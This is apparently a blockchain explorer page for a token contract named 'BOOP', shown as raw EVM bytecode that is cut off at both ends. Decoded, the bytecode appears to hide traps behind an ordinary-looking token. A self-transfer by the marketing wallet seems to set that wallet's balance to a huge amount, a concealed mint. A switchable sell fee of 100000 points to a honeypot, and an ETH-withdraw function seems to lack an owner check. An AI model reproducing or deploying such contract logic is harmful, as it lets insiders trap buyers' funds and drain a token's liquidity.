08284826117e39190612951565b14611823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181a90612b75565b60405180910390fd5b809150505b92915050565b600061187083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612116565b905092915050565b6000611903826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e19092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199882600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a3891906123c0565b60405180910390a3600190509392505050565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611ab65750601060009054906101000a900460ff16155b8015611ace5750600e60149054906101000a900460ff165b8015611b1b5750600f54600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601060006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b5857611b57612b95565b5b604051908082528060200260200182016040528015611b865781602001602082028036833780820191505090505b5090503081600081518110611b9e57611b9d612bc4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110611c0d57611c0c612bc4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac947600f5460008430426040518663ffffffff1660e01b8152600401611cab959493929190612cec565b600060405180830381600087803b158015611cc557600080fd5b505af1158015611cd9573d6000803e3d6000fd5b505050506000479050600060095460075483611cf591906128e0565b611cff9190612951565b9050600060095460085484611d1491906128e0565b611d1e9190612951565b90506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683604051611d6890612d77565b60006040518083038185875af1925050503d8060008114611da5576040519150601f19603f3d011682016040523d82523d6000602084013e611daa565b606091505b50509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051611df490612d77565b60006040518083038185875af1925050503d8060008114611e31576040519150601f19603f3d011682016040523d82523d6000602084013e611e36565b606091505b50508091505050505050506000601060006101000a81548160ff021916908315150217905550565b6000808303611e6f578290506120b1565b6000600c5490507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ef0576001805403611edc57600b549050611eeb565b620186a0905060016009819055505b611f4a565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611f4957600a5490505b5b6000611f936103e86064611f5e91906128e0565b611f8584611f776009548a6117b490919063ffffffff16565b6117b490919063ffffffff16565b61182e90919063ffffffff16565b9050600081111561209957611ff081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b890919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161209091906123c0565b60405180910390a35b6120ac818661217990919063ffffffff16565b925050505b9392505050565b60008082846120c79190612a63565b90508381101561210c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210390612dd8565b60405180910390fd5b8091505092915050565b6000808311829061215d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121549190612253565b60405180910390fd5b506000838561216c9190612951565b9050809150509392505050565b60006121bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110e1565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121fd5780820151818401526020810190506121e2565b60008484015250505050565b6000601f19601f8301169050919050565b6000612225826121c3565b61222f81856121ce565b935061223f8185602086016121df565b61224881612209565b840191505092915050565b6000602082019050818103600083015261226d818461221a565b905092915050565b600080fd5b6000819050919050565b61228d8161227a565b811461229857600080fd5b50565b6000813590506122aa81612284565b92915050565b6000602082840312156122c6576122c5612275565b5b60006122d48482850161229b565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612308826122dd565b9050919050565b612318816122fd565b811461232357600080fd5b50565b6000813590506123358161230f565b92915050565b6000806040838503121561235257612351612275565b5b600061236085828601612326565b92505060206123718582860161229b565b9150509250929050565b60008115159050919050565b6123908161237b565b82525050565b60006020820190506123ab6000830184612387565b92915050565b6123ba8161227a565b82525050565b60006020820190506123d560008301846123b1565b92915050565b6000806000606084860312156123f4576123f3612275565b5b600061240286828701612326565b935050602061241386828701612326565b92505060406124248682870161229b565b9150509250925092565b60006020828403121561244457612443612275565b5b600061245284828501612326565b91505092915050565b600060ff82169050919050565b6124718161245b565b82525050565b600060208201905061248c6000830184612468565b92915050565b6000806000606084860312156124ab576124aa612275565b5b60006124b98682870161229b565b93505060206124ca8682870161229b565b92505060406124db8682870161229b565b9150509250925092565b6124ee816122fd565b82525050565b600060208201905061250960008301846124e5565b92915050565b6000806040838503121561252657612525612275565b5b600061253485828601612326565b925050602061254585828601612326565b9150509250929050565b6125588161237b565b811461256357600080fd5b50565b6000813590506125758161254f565b92915050565b6000806040838503121561259257612591612275565b5b60006125a085828601612566565b92505060206125b18582860161229b565b9150509250929050565b6000819050919050565b60006125e06125db6125d6846122dd565b6125bb565b6122dd565b9050919050565b60006125f2826125c5565b9050919050565b6000612604826125e7565b9050919050565b612614816125f9565b82525050565b600060208201905061262f600083018461260b565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b600061266b6006836121ce565b915061267682612635565b602082019050919050565b6000602082019050818103600083015261269a8161265e565b9050919050565b7f43616e6e6f7420736574204d61782057616c6c6574206c657373207468616e2060008201527f3125000000000000000000000000000000000000000000000000000000000000602082015250565b60006126fd6022836121ce565b9150612708826126a1565b604082019050919050565b6000602082019050818103600083015261272c816126f0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156127b95780860481111561279557612794612733565b5b60018516156127a45780820291505b80810290506127b285612762565b9450612779565b94509492505050565b6000826127d2576001905061288e565b816127e0576000905061288e565b81600181146127f657600281146128005761282f565b600191505061288e565b60ff84111561281257612811612733565b5b8360020a91508482111561282957612828612733565b5b5061288e565b5060208310610133831016604e8410600b84101617156128645782820a90508381111561285f5761285e612733565b5b61288e565b612871848484600161276f565b9250905081840481111561288857612887612733565b5b81810290505b9392505050565b60006128a08261227a565b91506128ab8361245b565b92506128d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127c2565b905092915050565b60006128eb8261227a565b91506128f68361227a565b92508282026129048161227a565b9150828204841483151761291b5761291a612733565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061295c8261227a565b91506129678361227a565b92508261297757612976612922565b5b828204905092915050565b600061298d8261227a565b91506129988361227a565b92508282039050818111156129b0576129af612733565b5b92915050565b6000815190506129c581612284565b92915050565b6000602082840312156129e1576129e0612275565b5b60006129ef848285016129b6565b91505092915050565b6000604082019050612a0d60008301856124e5565b612a1a60208301846123b1565b9392505050565b600081519050612a308161254f565b92915050565b600060208284031215612a4c57612a4b612275565b5b6000612a5a84828501612a21565b91505092915050565b6000612a6e8261227a565b9150612a798361227a565b9250828201905080821115612a9157612a90612733565b5b92915050565b7f6d61782077616c6c6574206c696d697420726561636865640000000000000000600082015250565b6000612acd6018836121ce565b9150612ad882612a97565b602082019050919050565b60006020820190508181036000830152612afc81612ac0565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b5f6021836121ce565b9150612b6a82612b03565b604082019050919050565b60006020820190508181036000830152612b8e81612b52565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000612c18612c13612c0e84612bf3565b6125bb565b61227a565b9050919050565b612c2881612bfd565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612c63816122fd565b82525050565b6000612c758383612c5a565b60208301905092915050565b6000602082019050919050565b6000612c9982612c2e565b612ca38185612c39565b9350612cae83612c4a565b8060005b83811015612cdf578151612cc68882612c69565b9750612cd183612c81565b925050600181019050612cb2565b5085935050505092915050565b600060a082019050612d0160008301886123b1565b612d0e6020830187612c1f565b8181036040830152612d208186612c8e565b9050612d2f60608301856124e5565b612d3c60808301846123b1565b9695505050505050565b600081905092915050565b50565b6000612d61600083612d46565b9150612d6c82612d51565b600082019050919050565b6000612d8282612d54565b9150819050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612dc2601b836121ce565b9150612dcd82612d8c565b602082019050919050565b60006020820190508181036000830152612df181612db5565b905091905056fea264697066735822122075f4873fab816759d9dcbd93ebd3e11c80cbef4b078500cf00d1ea462241956264736f6c634300081200330000000000000000000000007cc92c5699fc7d654cfa3832efef51fad0c016a8
Deployed Bytecode
0x6080604052600436106101855760003560e01c80636ce46bc3116100d157806395d89b411161008a578063c867d60b11610064578063c867d60b146105b9578063dd62ed3e146105f6578063df20fd4914610633578063f887ea401461065c5761018c565b806395d89b4114610526578063a8aa1b3114610551578063a9059cbb1461057c5761018c565b80636ce46bc31461041657806370a082311461043f578063715018a61461047c57806377b54bad1461049357806378109e54146104d0578063893d20e8146104fb5761018c565b80631df4ccfc1161013e5780632f54bf6e116101185780632f54bf6e14610334578063313ce567146103715780633f4218e01461039c578063571ac8b0146103d95761018c565b80631df4ccfc146102a157806323b872dd146102cc5780632b112e49146103095761018c565b806306fdde031461019157806309302dc6146101bc578063095ea7b3146101e5578063180b0d7e1461022257806318160ddd1461024d5780631da1db5e146102785761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610687565b6040516101b39190612253565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de91906122b0565b6106c0565b005b3480156101f157600080fd5b5061020c6004803603810190610207919061233b565b61078a565b6040516102199190612396565b60405180910390f35b34801561022e57600080fd5b5061023761087c565b60405161024491906123c0565b60405180910390f35b34801561025957600080fd5b50610262610881565b60405161026f91906123c0565b60405180910390f35b34801561028457600080fd5b5061029f600480360381019061029a91906122b0565b6108a1565b005b3480156102ad57600080fd5b506102b6610916565b6040516102c391906123c0565b60405180910390f35b3480156102d857600080fd5b506102f360048036038101906102ee91906123db565b61091c565b6040516103009190612396565b60405180910390f35b34801561031557600080fd5b5061031e610b1c565b60405161032b91906123c0565b60405180910390f35b34801561034057600080fd5b5061035b6004803603810190610356919061242e565b610bd6565b6040516103689190612396565b60405180910390f35b34801561037d57600080fd5b50610386610c2f565b6040516103939190612477565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be919061242e565b610c34565b6040516103d09190612396565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb919061242e565b610c54565b60405161040d9190612396565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612492565b610c87565b005b34801561044b57600080fd5b506104666004803603810190610461919061242e565b610ce9565b60405161047391906123c0565b60405180910390f35b34801561048857600080fd5b50610491610d01565b005b34801561049f57600080fd5b506104ba60048036038101906104b5919061233b565b610d8c565b6040516104c79190612396565b60405180910390f35b3480156104dc57600080fd5b506104e5610ee1565b6040516104f291906123c0565b60405180910390f35b34801561050757600080fd5b50610510610ee7565b60405161051d91906124f4565b60405180910390f35b34801561053257600080fd5b5061053b610f10565b6040516105489190612253565b60405180910390f35b34801561055d57600080fd5b50610566610f49565b60405161057391906124f4565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e919061233b565b610f6d565b6040516105b09190612396565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db919061242e565b610f82565b6040516105ed9190612396565b60405180910390f35b34801561060257600080fd5b5061061d6004803603810190610618919061250f565b610fa2565b60405161062a91906123c0565b60405180910390f35b34801561063f57600080fd5b5061065a6004803603810190610655919061257b565b611029565b005b34801561066857600080fd5b506106716110bd565b60405161067e919061261a565b60405180910390f35b6040518060400160405280600481526020017f424f4f500000000000000000000000000000000000000000000000000000000081525081565b6106c933610bd6565b610708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ff90612681565b60405180910390fd5b600a81101561074c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074390612713565b60405180910390fd5b6103e8816009600a61075e9190612895565b633b9aca0061076d91906128e0565b61077791906128e0565b6107819190612951565b60028190555050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161086a91906123c0565b60405180910390a36001905092915050565b606481565b6009600a61088f9190612895565b633b9aca0061089e91906128e0565b81565b60004790506000606483836108b691906128e0565b6108c09190612951565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610908573d6000803e3d6000fd5b506000600181905550505050565b60095481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b0857610a87826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e19092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b13848484611145565b90509392505050565b6000600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546009600a610bae9190612895565b633b9aca00610bbd91906128e0565b610bc79190612982565b610bd19190612982565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600981565b60056020528060005260406000206000915054906101000a900460ff1681565b6000610c80827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61078a565b9050919050565b610c9033610bd6565b610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc690612681565b60405180910390fd5b82600a8190555081600b8190555080600c81905550505050565b60036020528060005260406000206000915090505481565b610d0a33610bd6565b610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090612681565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d9733610bd6565b610dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcd90612681565b60405180910390fd5b60008203610e5b578273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e1791906124f4565b602060405180830381865afa158015610e34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5891906129cb565b91505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401610e969291906129f8565b6020604051808303816000875af1158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed99190612a36565b905092915050565b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f424f4f500000000000000000000000000000000000000000000000000000000081525081565b7f00000000000000000000000064bf1b4f283549ad98bfddab1381284f4f15640181565b6000610f7a338484611145565b905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61103233610bd6565b611071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106890612681565b60405180910390fd5b806009600a6110809190612895565b633b9aca0061108f91906128e0565b6110999190612951565b600f8190555081600e60146101000a81548160ff0219169083151502179055505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000838311158290611129576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111209190612253565b60405180910390fd5b50600083856111389190612982565b9050809150509392505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111f15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561124957507f00000000000000000000000064bf1b4f283549ad98bfddab1381284f4f15640173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156113585761126460646002546117b490919063ffffffff16565b60036000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61133a6009600a6113299190612895565b60025461182e90919063ffffffff16565b60405161134791906123c0565b60405180910390a3600190506117ad565b601060009054906101000a900460ff161561137f57611378848484611878565b90506117ad565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114235750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561147b57507f00000000000000000000000064bf1b4f283549ad98bfddab1381284f4f15640173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115105760025482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce9190612a63565b111561150f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150690612ae3565b60405180910390fd5b5b611518611a4b565b1561152657611525611b20565b5b6115af826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e19092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116955750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6116a9576116a4858486611e5e565b6116ab565b825b90506116ff81600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b890919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161179f91906123c0565b60405180910390a360019150505b9392505050565b60008083036117c65760009050611828565b600082846117d491906128e0565b90508284826117e39190612951565b14611823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181a90612b75565b60405180910390fd5b809150505b92915050565b600061187083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612116565b905092915050565b6000611903826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e19092919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199882600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a3891906123c0565b60405180910390a3600190509392505050565b60007f00000000000000000000000064bf1b4f283549ad98bfddab1381284f4f15640173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611ab65750601060009054906101000a900460ff16155b8015611ace5750600e60149054906101000a900460ff165b8015611b1b5750600f54600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601060006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b5857611b57612b95565b5b604051908082528060200260200182016040528015611b865781602001602082028036833780820191505090505b5090503081600081518110611b9e57611b9d612bc4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611c0d57611c0c612bc4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947600f5460008430426040518663ffffffff1660e01b8152600401611cab959493929190612cec565b600060405180830381600087803b158015611cc557600080fd5b505af1158015611cd9573d6000803e3d6000fd5b505050506000479050600060095460075483611cf591906128e0565b611cff9190612951565b9050600060095460085484611d1491906128e0565b611d1e9190612951565b90506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683604051611d6890612d77565b60006040518083038185875af1925050503d8060008114611da5576040519150601f19603f3d011682016040523d82523d6000602084013e611daa565b606091505b50509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051611df490612d77565b60006040518083038185875af1925050503d8060008114611e31576040519150601f19603f3d011682016040523d82523d6000602084013e611e36565b606091505b50508091505050505050506000601060006101000a81548160ff021916908315150217905550565b6000808303611e6f578290506120b1565b6000600c5490507f00000000000000000000000064bf1b4f283549ad98bfddab1381284f4f15640173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ef0576001805403611edc57600b549050611eeb565b620186a0905060016009819055505b611f4a565b7f00000000000000000000000064bf1b4f283549ad98bfddab1381284f4f15640173ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611f4957600a5490505b5b6000611f936103e86064611f5e91906128e0565b611f8584611f776009548a6117b490919063ffffffff16565b6117b490919063ffffffff16565b61182e90919063ffffffff16565b9050600081111561209957611ff081600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b890919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161209091906123c0565b60405180910390a35b6120ac818661217990919063ffffffff16565b925050505b9392505050565b60008082846120c79190612a63565b90508381101561210c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210390612dd8565b60405180910390fd5b8091505092915050565b6000808311829061215d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121549190612253565b60405180910390fd5b506000838561216c9190612951565b9050809150509392505050565b60006121bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110e1565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121fd5780820151818401526020810190506121e2565b60008484015250505050565b6000601f19601f8301169050919050565b6000612225826121c3565b61222f81856121ce565b935061223f8185602086016121df565b61224881612209565b840191505092915050565b6000602082019050818103600083015261226d818461221a565b905092915050565b600080fd5b6000819050919050565b61228d8161227a565b811461229857600080fd5b50565b6000813590506122aa81612284565b92915050565b6000602082840312156122c6576122c5612275565b5b60006122d48482850161229b565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612308826122dd565b9050919050565b612318816122fd565b811461232357600080fd5b50565b6000813590506123358161230f565b92915050565b6000806040838503121561235257612351612275565b5b600061236085828601612326565b92505060206123718582860161229b565b9150509250929050565b60008115159050919050565b6123908161237b565b82525050565b60006020820190506123ab6000830184612387565b92915050565b6123ba8161227a565b82525050565b60006020820190506123d560008301846123b1565b92915050565b6000806000606084860312156123f4576123f3612275565b5b600061240286828701612326565b935050602061241386828701612326565b92505060406124248682870161229b565b9150509250925092565b60006020828403121561244457612443612275565b5b600061245284828501612326565b91505092915050565b600060ff82169050919050565b6124718161245b565b82525050565b600060208201905061248c6000830184612468565b92915050565b6000806000606084860312156124ab576124aa612275565b5b60006124b98682870161229b565b93505060206124ca8682870161229b565b92505060406124db8682870161229b565b9150509250925092565b6124ee816122fd565b82525050565b600060208201905061250960008301846124e5565b92915050565b6000806040838503121561252657612525612275565b5b600061253485828601612326565b925050602061254585828601612326565b9150509250929050565b6125588161237b565b811461256357600080fd5b50565b6000813590506125758161254f565b92915050565b6000806040838503121561259257612591612275565b5b60006125a085828601612566565b92505060206125b18582860161229b565b9150509250929050565b6000819050919050565b60006125e06125db6125d6846122dd565b6125bb565b6122dd565b9050919050565b60006125f2826125c5565b9050919050565b6000612604826125e7565b9050919050565b612614816125f9565b82525050565b600060208201905061262f600083018461260b565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b600061266b6006836121ce565b915061267682612635565b602082019050919050565b6000602082019050818103600083015261269a8161265e565b9050919050565b7f43616e6e6f7420736574204d61782057616c6c6574206c657373207468616e2060008201527f3125000000000000000000000000000000000000000000000000000000000000602082015250565b60006126fd6022836121ce565b9150612708826126a1565b604082019050919050565b6000602082019050818103600083015261272c816126f0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156127b95780860481111561279557612794612733565b5b60018516156127a45780820291505b80810290506127b285612762565b9450612779565b94509492505050565b6000826127d2576001905061288e565b816127e0576000905061288e565b81600181146127f657600281146128005761282f565b600191505061288e565b60ff84111561281257612811612733565b5b8360020a91508482111561282957612828612733565b5b5061288e565b5060208310610133831016604e8410600b84101617156128645782820a90508381111561285f5761285e612733565b5b61288e565b612871848484600161276f565b9250905081840481111561288857612887612733565b5b81810290505b9392505050565b60006128a08261227a565b91506128ab8361245b565b92506128d87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127c2565b905092915050565b60006128eb8261227a565b91506128f68361227a565b92508282026129048161227a565b9150828204841483151761291b5761291a612733565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061295c8261227a565b91506129678361227a565b92508261297757612976612922565b5b828204905092915050565b600061298d8261227a565b91506129988361227a565b92508282039050818111156129b0576129af612733565b5b92915050565b6000815190506129c581612284565b92915050565b6000602082840312156129e1576129e0612275565b5b60006129ef848285016129b6565b91505092915050565b6000604082019050612a0d60008301856124e5565b612a1a60208301846123b1565b9392505050565b600081519050612a308161254f565b92915050565b600060208284031215612a4c57612a4b612275565b5b6000612a5a84828501612a21565b91505092915050565b6000612a6e8261227a565b9150612a798361227a565b9250828201905080821115612a9157612a90612733565b5b92915050565b7f6d61782077616c6c6574206c696d697420726561636865640000000000000000600082015250565b6000612acd6018836121ce565b9150612ad882612a97565b602082019050919050565b60006020820190508181036000830152612afc81612ac0565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565